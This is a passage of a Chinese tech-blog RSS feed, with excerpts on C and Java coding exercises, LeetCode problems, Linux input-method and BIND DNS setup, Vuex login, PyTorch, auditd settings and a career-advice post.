是不是j&amp;gt;&#39;F&#39;-2;&#xA;我们不能直接把&#39;F&#39;-1和&#39;F&#39;-2这两个表达式直接写进去，不然输出的是固定值，我们想要这两个值和i发生一定的关系&#xA;当i=0时候，我们希望j&amp;gt;&#39;F&#39;-1=&#39;F&#39;-(0+1)&#xA;当i=1时候，我们希望j&amp;gt;&#39;F&#39;-2=&#39;F&#39;-(1+1)&#xA;当i=3时候，我们希望j&amp;gt;&#39;F&#39;-4=&#39;F&#39;-(3+1)&#xA;所以通项公式就是j&amp;gt;&#39;F&#39;-(i+1)&#xA;最后代码如下：&#xA;int main(void)&#xA;{for (int i = 0; i &amp;lt; 6; i++)&#xA;{for (char j = &#39;F&#39;; j &amp;gt; &#39;F&#39;-(i+1); j--)&#xA;{&#xA;printf(&#34;%c&#34;,j);&#xA;}&#xA;printf(&#34;\n&#34;);&#xA;}return 1;&#xA;}&#xA;update:2018.10.2&#xA;这次思考过程和上次完全不一样。&#xA;首先需要一个外层循环来控制打印的行，共需要打印6行，每循环一次打印一行数据。还需要一个内层循环控制要打印的字符&#xA;由于，内存循环每次都是从F开始打印的，所以内存循环每次都要初始化变量为F，每次打印一个字符后就让字符减去1，这样就可以打印比F小的那个字符了，那要打印多少个字符呢？我们需要用一个变量来记录，然后每进行一次外层循环这个变量的值都要+1，因为第二行要比第一行多打印一个字符。&#xA;int main(void)&#xA;{charch ;//当前要打印的字符int row_count=1;//每行需要打印额字符个数，从第一行开始intcount;//打印了几个字符了for (int i = 0; i &amp;lt; 6; i++,row_count++)</description>
    </item>
    <item>
      <title>LeetCode 算法 每日一题 421.数组中两个数的最大异或值</title>
      <link>https://bchobby.github.io/posts/dae8be708684ccdc68fdd6407fb41cdb/</link>
      <pubDate>Sun, 16 May 2021 02:16:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dae8be708684ccdc68fdd6407fb41cdb/</guid>
      <description>421.数组中两个数的最大异或值 题目描述 给你一个整数数组nums，返回nums[i] XOR nums[j]的最大运算结果，其中0 ≤ i ≤ j &amp;lt; n。&#xA;进阶：你可以在O(n)的时间解决这个问题吗？&#xA;示例1&#xA;输入：nums = [3,10,5,25,2,8]&#xA;输出：28&#xA;解释：最大运算结果是 5 XOR 25 = 28.&#xA;示例2&#xA;输入：nums = [0]&#xA;输出：0&#xA;示例3&#xA;输入：nums = [2,4]&#xA;输出：6&#xA;示例4&#xA;输入：nums = [8,10,2]&#xA;输出：10&#xA;示例5&#xA;输入：nums = [14,70,53,83,49,91,36,80,92,51,66,70]&#xA;输出：127&#xA;提示&#xA;1 &amp;lt;= nums.length &amp;lt;= 2 * 104 0 &amp;lt;= nums[i] &amp;lt;= 231 - 1 O(n)时间复杂度以内 把每个数字按bit位拆分成0-1字典树。&#xA;将每个数字的二进制位，从高位到低位存储到前缀树中，也就是说前缀树中仅有0和1这两个数字。&#xA;每个数字跟字字典树进行异或，其中最长的分支，就是最大值。&#xA;代码演示&#xA;Java 0-1字典树&#xA;public class OneQuestionPerDay421 { public static void main(String[] args) { Solution s = new Solution(); int array1[] = {3,10,5,25,2,8}; System.</description>
    </item>
    <item>
      <title>TSP问题(贪心法）最近邻点和最短连接</title>
      <link>https://bchobby.github.io/posts/95d4d2766dbafe7aa23a9befad391364/</link>
      <pubDate>Sat, 15 May 2021 20:32:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95d4d2766dbafe7aa23a9befad391364/</guid>
      <description>1.最近邻点法 (贪心策略 TSP） 2. 最短连接 TSP问题 贪心算法 #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;iostream&amp;gt; using namespace std; //采用最近邻点贪心策略求TSP问题。 int TSP1(double arc[6][6],int w)//假定从顶点w出发 { int n=6; int edgeCount=0;//哈密顿回路的边数 int TSPLength=0; int min,u,v; int flag[n]={0}; // 顶点均未加入哈密顿回路 u=w;//w为出发点 u为加入到哈密顿回路的点 flag[w]=1; while(edgeCount&amp;lt;n-2) //已经加入一个出发点，只需要再4个点 0 1 2 3 四次找点 { min=100; for(int j=1;j&amp;lt;n;j++) //求arc[u]的最小值 { if((flag[j]==0) &amp;amp;&amp;amp; (arc[u][j]!=0) &amp;amp;&amp;amp;((arc[u][j]!=100e5))&amp;amp;&amp;amp; (arc[u][j]&amp;lt;min)) //j点没有被加入哈密顿回路 排除自己 找到最小值 { v=j;//v点最终是距离u点最近的点 min=arc[u][j]; } } //找到距离u点的最近的点，把它加入哈密顿回路 TSPLength+=arc[u][v]; flag[v]=1; edgeCount++; cout&amp;lt;&amp;lt;u&amp;lt;&amp;lt;&#34;--&amp;gt;&#34;&amp;lt;&amp;lt;v&amp;lt;&amp;lt;endl; u=v; //把v点赋值给u，接下来找距离v点最近的点 while循环控制直到所有点都被加入进去 } cout&amp;lt;&amp;lt;v&amp;lt;&amp;lt;&#34;--&amp;gt;&#34;&amp;lt;&amp;lt;w&amp;lt;&amp;lt;endl;//输出最后的回边 return (TSPLength+arc[u][w]);//返回最终的最短哈密顿回路的长度!</description>
    </item>
    <item>
      <title>fedora linux五笔输入法,ArchLinux 安装五笔输入法</title>
      <link>https://bchobby.github.io/posts/79c7d212477727a246486b8b2db183d7/</link>
      <pubDate>Sat, 15 May 2021 19:38:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79c7d212477727a246486b8b2db183d7/</guid>
      <description>说明&#xA;自己的笔记本已经全盘做成了Linux系统了，用着还好，苦于常用的五笔输入法在Arch下有点不太好装，参考wiki弄好了，这里简单记录下&#xA;这里使用ibus-rime&#xA;原因有二：&#xA;ibus-rime功能强大，支持注音、拼音、倉頡5、五筆86&#xA;其他输入法安装很不方便，一般最后的支持是2012年，太古老了……&#xA;ArchLinux下简单记录&#xA;1、安装ibus&#xA;# pacman -S ibus&#xA;2、编辑~/.bashrc，在最后添加&#xA;export GTK_IM_MODULE=ibus&#xA;export XMODIFIERS=@im=ibus&#xA;export QT_IM_MODULE=ibus&#xA;4、初始化ibus&#xA;#ibus-setup&#xA;3、使用pacman安装ibus-rime或者用yaourt -S ibus-rime安装也是一样的(前提是你装了yaourt)&#xA;#pacman -S ibus-rime&#xA;4、进入这个目录，如果没有rime，请自行创建&#xA;$cd ~/.config/ibus/rime&#xA;5、在rime目录下，创建default.custom.yaml&#xA;patch:&#xA;schema_list:&#xA;- schema: wubi86&#xA;小技巧：&#xA;复制的时候使用鼠标复制，insert状态，ctrl+shift+v，这样就能直接粘贴到vim中了&#xA;6、运行命令&#xA;# ibus-daemon &amp;amp;&#xA;7、在状态栏找到&#xA;右击，preferences-&amp;gt;InputMethod-&amp;gt;add-&amp;gt;chinese得到如图，close&#xA;8、super+space切换输入法到rime，点击&#xA;有个Deploy或部署点一下，会出现五笔86字样，此时就配置好了，如果出现的是abc，点一下就会变了，最后的图shutter截不到。&#xA;如上。&#xA;Ubuntu/Debian下简单记录&#xA;#安装ibus框架、rime、五笔库&#xA;sudo apt-get install ibus ibus-clutter ibus-gtk ibus-gtk3 ibus-qt4 ibus-rime librime-data-wubi&#xA;装完重启ibus&#xA;ibus restart&#xA;设置ibus框架&#xA;sudo ibus-setup&#xA;点击input method--&amp;gt; 添加输入法 汉语-Rime</description>
    </item>
    <item>
      <title>搭建DNS域名解析服务器</title>
      <link>https://bchobby.github.io/posts/957e56cb8fe8aacc1d071a8ed91235bb/</link>
      <pubDate>Sat, 15 May 2021 17:45:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/957e56cb8fe8aacc1d071a8ed91235bb/</guid>
      <description>1、安装BIND软件&#xA;软件包bind，提供域名服务的主要程序及相关文件。&#xA;软件包bind-utils，提供对DNS服务器的测试工具程序，如nslookup。&#xA;注释：BIND是最受欢迎的能够提供域名服务的DNS服务程序。&#xA;[root@localhost ~]# mount /dev/cdrom /mnt----挂光盘&#xA;[root@localhost ~]# rpm -ivh /mnt/Packages/bind-9.8.2-2-0.&#xA;17.rcl.e16.i686.rpm-----用rpm装bind软件包&#xA;[root@kimi ~]# rpm -ivh /mnt/Packages/bind-utils-9.8.2-0.17.&#xA;rc1.el6.i686.rpm-----用rpm装bind-utils软件包&#xA;2、查询是否安装bind软件包 [root@localhost ~]# rpm -qa | grep &#34;bind&#34;&#xA;3、配置BIND的主配置文件 注释：主配置文件用于设置named服务的全局配置，注册区域和访问控制等各种运动参数。&#xA;[root@localhost ~]# vi /etc/named.conf&#xA;options {&#xA;listen-on port 53 { 192.168.80.10; }; //设置本地IP地址为监听地址&#xA;directory &#34;/var/named&#34;;&#xA;allow-query { any; }; //允许任何人访问DNS服务器&#xA;};&#xA;4、配置区域数据文件，并构建了主域名服务器 注释：区域数据文件用于存放某个DNS区域的地址解析记录（正向和反向记录）。&#xA;[root@localhost ~]# vi /etc/named.rfc1912.zones&#xA;zone &#34;benet.com&#34; IN { type master; //设置类型为正主区域 file &#34;benet.com.zone&#34;; //区域数据文件为benet.com.zone allow-transfer { 192.</description>
    </item>
    <item>
      <title>h5登陆</title>
      <link>https://bchobby.github.io/posts/dd50a4beb0db10e8058b88b970c69369/</link>
      <pubDate>Sat, 15 May 2021 14:29:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd50a4beb0db10e8058b88b970c69369/</guid>
      <description>关于网页登陆&#xA;缓存本地配合vuex的store&#xA;state:{ token：getToken(), name: &#39;&#39;, avatar: &#39;&#39;, }, mutations:{ SET_TOKEN: (state, token) =&amp;gt; { state.token = token; //并不在这里改变本地的token，这里仅仅改变store里面的token }, }, actions:{ loginAction({commit},userInfo){ return new Promise((resolve,reject)=&amp;gt;{ reqLogin({...userInfo}).then(res=&amp;gt;{ commit(&#39;SET_TOKEN&#39;,res.data); setToken(res.data) resolve() }).catch(err=&amp;gt;{ //1.提示 //2.reject() reject() }) }) }， // 获取用户信息，并不缓存本地 GetInfo({ commit, state }) { return new Promise((resolve, reject) =&amp;gt; { getInfo(state.token).then(res =&amp;gt; { const user = res.data.user const avatar = user.avatar == &#34;&#34; ? require(&#34;@/assets/images/profile.jpg&#34;) : process.env.VUE_APP_BASE_API + user.avatar; if (res.</description>
    </item>
    <item>
      <title>使用栈实现队列</title>
      <link>https://bchobby.github.io/posts/30d7a3a1cb01aa7d7c39f912fc2f622c/</link>
      <pubDate>Sat, 15 May 2021 14:05:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30d7a3a1cb01aa7d7c39f912fc2f622c/</guid>
      <description>题目介绍 力扣232题：https://leetcode-cn.com/problems/implement-queue-using-stacks/&#xA;请你仅使用两个栈实现先入先出队列。队列应当支持一般队列支持的所有操作（push、pop、peek、empty）：&#xA;实现 MyQueue 类：&#xA;void push(int x) 将元素 x 推到队列的末尾int pop() 从队列的开头移除并返回元素int peek() 返回队列开头的元素boolean empty() 如果队列为空，返回 true ；否则，返回 false 说明：&#xA;你只能使用标准的栈操作 —— 也就是只有 push to top, peek/pop from top, size, 和 is empty操作是合法的。你所使用的语言也许不支持栈。你可以使用 list 或者 deque（双端队列）来模拟一个栈，只要是标准的栈操作即可。 进阶：你能否实现每个操作均摊时间复杂度为 O(1) 的队列？换句话说，执行 n 个操作的总时间复杂度为 O(n) ，即使其中一个操作可能花费较长时间。&#xA;分析 我们要用栈来实现队列。一个队列是 FIFO 的，但一个栈是 LIFO 的。为了满足队列的 FIFO 的特性，我们需要将入栈的元素次序进行反转，这样在出队时就可以按照入队顺序依次弹出了。&#xA;想要反转，简单的想法是只要把所有元素依次弹出，并压入另一个栈，自然就变成本来栈底元素到了栈顶了。所以我们的实现，需要用到两个栈。&#xA;方法一：入队时反转 一种直观的思路是，最终的栈里，按照“自顶向下”的顺序保持队列。也就是说，栈顶元素是最先入队的元素，而最新入队的元素要压入栈底。我们可以用一个栈来存储元素的最终顺序（队列顺序），记作stack1；用另一个进行辅助反转，记作stack2。&#xA;最简单的实现，就是直接用stack2，来缓存原始压栈的元素。每次调push，就把stack1中的元素先全部弹出并压入stack2，然后把新的元素也压入stack2；这样stack2就是完全按照原始顺序入栈的。最后再把stack2中的元素全部弹出并压入stack1，进行反转。&#xA;代码演示如下：&#xA;// 用两个栈实现队列：入队时翻转 public class MyQueue { // 定义两个栈 Stack&amp;lt;Integer&amp;gt; stack1; Stack&amp;lt;Integer&amp;gt; stack2; public MyQueue() { stack1 = new Stack&amp;lt;&amp;gt;(); stack2 = new Stack&amp;lt;&amp;gt;(); } // 入队方法 public void push(int x){ // 1.</description>
    </item>
    <item>
      <title>【Pytorch基础】torch.utils.data.DataLoader方法的使用</title>
      <link>https://bchobby.github.io/posts/b4f1dd6f507df47f4f4ef5d98e2fbd22/</link>
      <pubDate>Sat, 15 May 2021 10:48:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4f1dd6f507df47f4f4ef5d98e2fbd22/</guid>
      <description>torch.utils.data.DataLoader主要是对数据进行batch的划分，除此之外，特别要注意的是输入进函数的数据一定得是可迭代的。如果是自定的数据集的话可以在定义类中用def__len__、def__getitem__定义。&#xA;使用DataLoader的好处是，可以快速的迭代数据。&#xA;import torch import torch.utils.data as Data torch.manual_seed(1) # reproducible BATCH_SIZE = 5 # 批训练的数据个数 x = torch.linspace(1, 10, 10) # x data (torch tensor) y = torch.linspace(10, 1, 10) # y data (torch tensor) # 先转换成 torch 能识别的 Dataset torch_dataset = Data.TensorDataset(x, y) # 把 dataset 放入 DataLoader loader = Data.DataLoader( dataset=torch_dataset, # torch TensorDataset format batch_size=BATCH_SIZE, # mini batch size shuffle=True, # 要不要打乱数据 (打乱比较好) num_workers=2, # 多线程来读数据 ) for epoch in range(3): # 训练所有!</description>
    </item>
    <item>
      <title>You have not concluded your merge (MERGE_HEAD exists).</title>
      <link>https://bchobby.github.io/posts/0cbf7f3790cd89175b739bb2f5f93654/</link>
      <pubDate>Sat, 15 May 2021 09:47:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0cbf7f3790cd89175b739bb2f5f93654/</guid>
      <description>idea 右下分支名前有警告，在合并其他分支或者别的操作时git提示错误：You have not concluded your merge (MERGE_HEAD exists). Please, commit your changes before you merge.&#xA;应该是在合并分支没有解决冲突结束合并导致。&#xA;Git-&amp;gt;Merge 选择继续合并或者结束合并即可&#xA;如果没有分支问题Merge是没有这两个选项的</description>
    </item>
    <item>
      <title>Keras的Model模型使用</title>
      <link>https://bchobby.github.io/posts/76204ed48c1c5fc2949825c2df6d8298/</link>
      <pubDate>Sat, 15 May 2021 09:04:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76204ed48c1c5fc2949825c2df6d8298/</guid>
      <description>https://blog.csdn.net/qq_31112205/article/details/103046794</description>
    </item>
    <item>
      <title>linux vm options,Linux/Windows 部署 Tomcat 配置用户环境变量 VM Options</title>
      <link>https://bchobby.github.io/posts/e1c15fee7cbf92c235f3dc3face6924e/</link>
      <pubDate>Sat, 15 May 2021 06:53:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1c15fee7cbf92c235f3dc3face6924e/</guid>
      <description>文章目录&#xA;1. IDEA 配置 VM Options&#xA;1.1 IDEA 配置 VM Options&#xA;1.2 spring 项目注入用户环境变量&#xA;2. Tomcat 部署配置用户环境变量&#xA;2.1 Windows: standard environment variables&#xA;2.2 Linux: user defined CLASSPATH variables&#xA;1. IDEA 配置 VM Options&#xA;1.1 IDEA 配置 VM Options&#xA;此处以维护用户环境变量 DES_SECRET 用于配置文件加密的秘钥为例；spring 项目可通过 org.springframework.core.env.Environment 获取变量的 value&#xA;SpringMVC 项目&#xA;可以配置 VM Options 项&#xA;SpringBoot 项目&#xA;可以配置 Environment variables 项或者 VM Options&#xA;1.2 spring 项目注入用户环境变量&#xA;配置后用户环境变量后，项目可通过 PropertiesUtil.getProperty(“DES_SECRET”) 获取配置的 value。&#xA;项目打包后放入 tomcat_home/webapps 路径下，运行 startup.</description>
    </item>
    <item>
      <title>干了六年Android开发现在裸辞失业了，再过2个月就30了，该怎么继续生活？</title>
      <link>https://bchobby.github.io/posts/537649fb67c1667a313fed2c172f57a1/</link>
      <pubDate>Fri, 14 May 2021 21:27:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/537649fb67c1667a313fed2c172f57a1/</guid>
      <description>这是我在某论坛看到别人分享的故事，觉得可以展开聊一下，对于我们这些中年程序员，可以裸辞吗？&#xA;前言 首先介绍一下主人公的情况。目前所在的是一家小的创业公司，待了3年多，薪资一般吧，之前在一家中型上市企业也干了三年，因为想涨薪所以跳到现在这家小公司。&#xA;就在年前，公司年终总结，公司老板会和各组负责人找每个员工谈话。面试来的时候，公司承诺每年多次调薪，也有项目奖金，干了三年，调过两次薪，项目奖金一分没见到，单双周上班，他寻思这几年互联网发展也不太好，没有就没有吧。&#xA;公司上班，不说九九六吧，也是每天至少九个小时，各个项目无缝切换。&#xA;不说平时加班多，年末偶尔加到12点，单双周不够用，甚至组长叫他周末家里加班。当然除了加班太晚报销打车之外，加班是无偿的，对，没有任何补助。&#xA;于是他就在今年年初裸辞了…&#xA;能力是没问题的，对自己的技术比较自信，想寻求更好的发展，工作和生活能够平衡一点。&#xA;但是最近的一次 Android 面试让他心好累，被面试官怼得体无完肤……于是他迷茫了。&#xA;工作经历 由于这几年公司也在转型。工作经历大概可以分为 3 个阶段。&#xA;第一阶段是从进公司开始做 android app 开发，无论是外包或者公司的主力产品都做过。&#xA;第二阶段是做 ROM 开发，由于公司规模不大，除了硬件和底层的东西外，基本上是一个人负责了整个 ROM 的修改，编译，发布（基于 MTK 的某一个 rom，然后做一些 android framework 层面上“奇奇怪怪”的定制）。&#xA;第三阶段，也就是当前。之前做的 ROM 所适配的手机销量未达预期，公司也不再准备投入更多，基本上是做做简单的维护。而他被分配的新任务是做机器学习的一些东西，比如 Tensorflow, OpenCV 做做图片处理，训练之类的。&#xA;相信诸位看了上边的经历，大概也猜到他现在所面临的问题。即，当前在一线做 android app 开发，而他的目标仍然是想找 android 开发的职位。&#xA;他自己可能也没想到，自己会在面试中沦落到如此尴尬的境地。面试官问的技术大部分都用过，就是不知道怎么去描述…后面大概面试了10家公司，只有一家收到了offer，工资比上家公司还低了3k，于是更迷茫了。&#xA;所以，你还敢裸辞吗？ 要不要辞职，你要看看自己：&#xA;1、为什么要辞职？工作不开心？学不到东西？有更好的计划并且愿意为之努力？&#xA;2、辞职以后想要做什么？如果没想好，那么请一定不要辞职以后再想，相信我，你会很容易陷入焦虑或者懒惰的恶性循环里，然后又不得不被迫找工作，再一次想辞职，再一次~~~恶性循环&#xA;3、任何一个行业，如果你真的很牛了，会发现，当整个行业都很低迷的时候依旧有你是盈利的，当整个行业都很牛市的时候也依旧有熊的一塌糊涂的。所以，不要以整体不好就判定所有都不好，不能以偏概全，当然也不能以平均水平衡量整体发展。&#xA;所以，我并不想回答为什么最好不要裸辞的原因，我只想说，辞职不辞职，问问自己以上的问题，想好了，做出你自己的决定就好，决定了，就努力做下去，不要去在意别人说你的对还是错。当然，说起来容易，做起来很难。&#xA;如果你觉得现在的工作差强人意，想辞职又不敢辞，最好的办法就是提前做好技术储备，未雨绸缪。如果工作中一直是curd boy，那你务必在闲暇时间找方法突破：看其他人的代码、看领导的代码、看开源代码、动手玩开源代码、多看计算机经典书籍等，这些都是突破的方法。&#xA;比如想要跳槽进大厂，以下知识必须牢固掌握：&#xA;算法和数据结构：数组、链表、二叉树、堆栈、排序算法、B+/B-树、DP（动态规划）等；计算机网络：HTTP、DNS、ARP、TCP、IP、ICMP、UDP等；操作系统：IO、存储器、多线程/多进程、同步机制、处理器调度及死锁、设备管理、通道等；计算机组成原理：冯诺依曼计算机组成、计算机层次结构、计算机性能指标等；选定一门主攻的语言方向，比如Python、C++、Java等，并真正攻克它。 这些都是高附加值的知识！&#xA;其实这些高附加值的知识和能力可以边工作边看计算机经典大厚书获得。这里也给大家推荐一份我整理的计算机经典书籍书单：我把大学和工作中用的经典电子书库（包含数据结构、Java相关、程序员认知、职场发展）、面试找工作的资料汇总都打包放在这了：&#xA;如果不方便查看，我已经整理成了一份PDF包含Android入门，基础—高级的全部系列知识点，还有新技术学习笔记。&#xA;由于篇幅限制，这里只能展示部分内容，朋友们如果需要这份完整版的PDF资料合集，微信扫描下方CSDN官方二维码【免费获取】。 尾声 裸辞确实是有一定的风险，虽然不建议，但是选择裸辞也并没有错，有可能之前的工作真的很让你痛苦，你确实是想辞职调整一下自己，以后找个更适合自己的工作，估计再让你选一次你还有可能会选择裸辞。&#xA;其实年龄这个东西真的无法控制，无论你做什么，年龄还是会不断的增长，这个对所有人都是公平的。也许有人40+也还是会裸辞找工作的，所以还是要放宽心，不要过多的焦虑，集中精力去找下一份工作。只要你足够厉害，工作会主动找上你。</description>
    </item>
    <item>
      <title>linux安装五笔输入法centos,CentOS 7系统怎么安装极点五笔输入法?</title>
      <link>https://bchobby.github.io/posts/ab4fc0f062e90eb6a3a87d32e9ea98f3/</link>
      <pubDate>Fri, 14 May 2021 11:34:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab4fc0f062e90eb6a3a87d32e9ea98f3/</guid>
      <description>在默认情况下，CenOS 7 中是没有安装极点五笔输入法的。如果你已经习惯了使用五笔输入，而不是拼音输入法，那么则需要自己在终端中手动安装。那么，CentOS 7 究竟怎样安装极点五笔输入法呢？&#xA;软件名称：极点五笔 V7.13 纯净安装标准版软件大小：6.75MB更新时间：2010-09-21立即下载&#xA;一、安装五笔输入法&#xA;1、首先，进入系统后，在桌面右击鼠标，打开终端。&#xA;2、在终端中键入 su root，回车后输入 root 密码，登录到 root 帐号。&#xA;注意：在输入密码时，屏幕上不会显示任何字符，你只需正确输入后回车即可。&#xA;3、登录root 后，再键入yum remove ibus，移除现有的输入法框架。&#xA;4、在移除过程中，会弹出询问确认是否真的移除，键入 y ，回车继续。&#xA;5、移除完毕后，再键入 yum install ibus ibus-table，回车后重新安装输入法框架。同样，在执行过程中会询问是否确认安装，键入 y回车继续。&#xA;6、然后，输入 yum install ibus ibus-table-wubi 安装极点五笔输入法，并且在执行过程中键入 y确认下载和安装。&#xA;7、安装成功后，键入 exit 退出 root 帐号，然后再关闭终端窗口。当然，你也可以不退出直接关闭终端(这会在关闭时弹出一个警告提示框，直接无视即可)，这是没有关系的。&#xA;二、添加输入源&#xA;安装好输入法后，还需要到“区域和语言”设置中将该输入法添加进来。具体的操作方法是：&#xA;1、首先，打开“应用程序”-“系统工具”-“设置”。&#xA;2、在设置中双击打开“区域和语言”。&#xA;3、再点击“+”号增加输入源。&#xA;4、在输入源中，点击“汉语(中国)”。&#xA;5、最后，选中极点五笔输入法，再点击“添加”按钮。&#xA;三、切换输入法&#xA;当需要使用极点五笔输入法时，用鼠标在语言栏上选择“极点五笔输入法”，然后就可以使用五笔进行汉字输入了。&#xA;相关推荐：</description>
    </item>
    <item>
      <title>linux .bash_profile文件位置,Linux profile、bashrc、bash_profile文件</title>
      <link>https://bchobby.github.io/posts/002680c5dbba4045783ded9164e54548/</link>
      <pubDate>Fri, 14 May 2021 04:35:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/002680c5dbba4045783ded9164e54548/</guid>
      <description>一、profile 文件&#xA;1、profile 文件的作用&#xA;profile(/etc/profile)，用于设置系统级的环境变量和启动程序，在这个文件下配置会对所有用户生效。当用户登录(login)时，文件会被执行，并从/etc/profile.d目录的配置文件中查找 shell 设置。&#xA;2、在profile中添加环境变量&#xA;一般不建议在/etc/profile文件中添加环境变量，因为在这个文件中添加的设置会对所有用户起作用。当需要添加时，我们可以按以下方式添加，添加一个 HOST 值为 test.com 的环境变量：&#xA;export HOST=test.com&#xA;添加时，可以在行尾使用;号，也可以不使用。一个变量名可以对应多个变量值，多个变量值使用:分隔。&#xA;添加环境变量后，需要重新登录才能生效，也可以使用source命令强制立即生效：&#xA;source /etc/profile&#xA;查看是否生效可以使用echo命令：&#xA;$ echo $HOST&#xA;test.com&#xA;二、bashrc 文件&#xA;这个文件用于配置函数或别名。bashrc 文件有两种级别：系统级的位于/etc/bashrc、用户级的~/.bashrc，两者分别会对所有用户和当前用户生效。&#xA;bashrc文件只会对指定的shell类型起作用，bashrc 只会被 bash shell 调用。&#xA;三、bash_profile 文件&#xA;bash_profile 只对单一用户有效，文件存储于~/.bash_profile，该文件是一个用户级的设置，可以理解为某一个用户的 profile 目录下。这个文件同样也可以用于配置环境变量和启动程序，但只针对单个用户有效。&#xA;和 profile 文件类似，bash_profile 也会在用户登录(login)时生效，也可以用于设置环境变量。但与 profile 不同，bash_profile 只会对当前用户生效。&#xA;想了解更多相关文章，请前往专栏 -- Linux系统</description>
    </item>
    <item>
      <title>linux默认审计事件类型,linux运维审计</title>
      <link>https://bchobby.github.io/posts/caa4fbdd2628bf57f53dc6edf2a45c88/</link>
      <pubDate>Fri, 14 May 2021 01:26:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/caa4fbdd2628bf57f53dc6edf2a45c88/</guid>
      <description>选项 选项说明&#xA;log_file =&#xA;审计日志文件的完整路径。如果您配置守护进程向除默认/var/log/audit/外的目录中写日志文件时，一定要修改它上面的文件权限，使得只有根用户有读、写和执行权限。所有其他用户都不能访问这个目录或这个目录中的日志文件&#xA;log_format =&#xA;写日志时要使用的格式。当设置为RAW时，数据会以从内核中检索到的格式写到日志文件中。当设置为NOLOG时，数据不会写到日志文件中，但是如果用dispatcher选项指定了一个，则数据仍然会发送到审计事件调度程序中&#xA;priority_boost = 审计应采用多少优先级推进守护进程。必须是非负数。0表示没有变化&#xA;flush = 多长时间向日志文件中写一次数据。值可以是NONE、INCREMENTAL、DATA和SYNC之一&#xA;freq = 如果flush设置为INCREMETNAL，审计守护进程在写到日志文件中前从内核中接收的记录数&#xA;num_logs =&#xA;max_log_file_action设置为ROTATE时要保存的日志文件数目。必须是0~99之间的数。如果设置为小于2，则不会循环日志。如果递增了日志文件的数目，就可能有必要递增/etc/audit/audit.rules中的内核backlog设置值，以便留出日志循环的时间。如果没有设置num_logs值，它就默认为0，意味着从来不循环日志文件&#xA;dispatcher =&#xA;当启动这个守护进程时，由审计守护进程自动启动程序。所有守护进程都传递给这个程序。可以用它来进一步定制报表或者以与您的自定义分析程序兼容的不同格式产生它们。由于调度程序用根用户特权运行，因此使用这个选项时要极其小心。这个选项不是必需的&#xA;disp_qos =&#xA;控制调度程序与审计守护进程之间的通信类型。有效值为lossy和lossless。如果设置为lossy，若审计守护进程与调度程序之间的缓冲区已满(缓冲区为128千字节)，则发送给调度程序的引入事件会被丢弃。然而，只要log_format没有设置为nolog，事件就仍然会写到磁盘中。如果设置为lossless，则在向调度程序发送事件之前和将日志写到磁盘之前，调度程序会等待缓冲区有足够的空间&#xA;max_log_file = 以兆字节表示的最大日志文件容量。当达到这个容量时，会执行max_log_file&#xA;_action指定的动作&#xA;max_log_file_action =&#xA;当达到max_log_file的日志文件大小时采取的动作。值必须是IGNORE、SYSLOG、SUSPEND、ROTATE和KEEP_LOGS之一。如果设置为IGNORE，则在日志文件达到max_log_file后不采取动作。如果设置为SYSLOG，则当达到文件容量时会向系统日志/var/log/messages中写入一条警告。如果设置为SUSPEND，则当达到文件容量后不会向日志文件写入审计消息。如果设置为ROTATE，则当达到指定文件容量后会循环日志文件，但是只会保存一定数目的老文件，这个数目由num_logs参数指定。老文件的文件名将为audit.log.N，其中N是一个数字。这个数字越大，则文件越老。如果设置为KEEP_LOGS，则会循环日志文件，但是会忽略num_logs参数，因此不会删除日志文件&#xA;space_left =&#xA;以兆字节表示的磁盘空间数量。当达到这个水平时，会采取space_left_action参数中的动作&#xA;space_left_action =&#xA;当磁盘空间量达到space_left中的值时，采取这个动作。有效值为IGNORE、SYSLOG、EMAIL、SUSPEND、SINGLE和HALT。如果设置为IGNORE，则不采取动作。如果设置为SYSLOG，则向系统日志/var/log/messages写一条警告消息。如果设置为EMAIL，则从action_mail_acct向这个地址发送一封电子邮件，并向/var/log/messages中写一条警告消息。如果设置为SUSPEND，则不再向审计日志文件中写警告消息。如果设置为SINGLE，则系统将在单用户模式下。如果设置为SALT，则系统会关闭&#xA;action_mail_acct =&#xA;负责维护审计守护进程和日志的管理员的电子邮件地址。如果地址没有主机名，则假定主机名为本地地址，比如root。必须安装sendmail并配置为向指定电子邮件地址发送电子邮件&#xA;admin_space_left =&#xA;以兆字节表示的磁盘空间数量。用这个选项设置比space_left_action更多的主动性动作，以防万一space_left_action没有让管理员释放任何磁盘空间。这个值应小于space_left_action。如果达到这个水平，则会采取admin_space_left_&#xA;action所指定的动作&#xA;admin_space_left_action =&#xA;当自由磁盘空间量达到admin_space_left指定的值时，则采取动作。有效值为IGNORE、SYSLOG、EMAIL、SUSPEND、SINGLE和HALT&#xA;disk_full_action =&#xA;如果含有这个审计文件的分区已满，则采取这个动作。可能值为IGNORE、SYSLOG、SUSPEND、SINGLE和HALT&#xA;disk_error_action =&#xA;如果在写审计日志或循环日志文件时检测到错误时采取的动作。值必须是IGNORE、SYSLOG、SUSPEND、SINGLE和HALT之一&#xA;说明：/etc/sysconfig/auditd文件可以用来设置带EXTRAOPTIONS参数的auditd的命令行选项。唯一的命令行选项-f以调试模式安排守护进程。如果启用了调试模式，则会出现标准错误消息而不是日志文件。AUDITD_LANG设置值可以用来修改守护进程的位置。如果设置为none，则所有位置信息会从审计环境中删除。如果AUDITD_CLEAN&#xA;_STOP选项设置为yes，则当用service auditd stop命令停止守护进程时，会删除审计规则与观察器。&#xA;(3)审计规则文件/etc/audit/audit.rules&#xA;要添加审计规则，可在/etc/audit/audit.rules文件中用下面的语法：&#xA;-a ,&#xA;以下在 CentOS 6 下的 audit.rules 下配置，请根据不同的环境进行修改。</description>
    </item>
    <item>
      <title>大整数的运算</title>
      <link>https://bchobby.github.io/posts/e3a2f6d1e3e7e5312fd566102f5b9b9c/</link>
      <pubDate>Thu, 13 May 2021 14:58:35 +0800</pubDate>
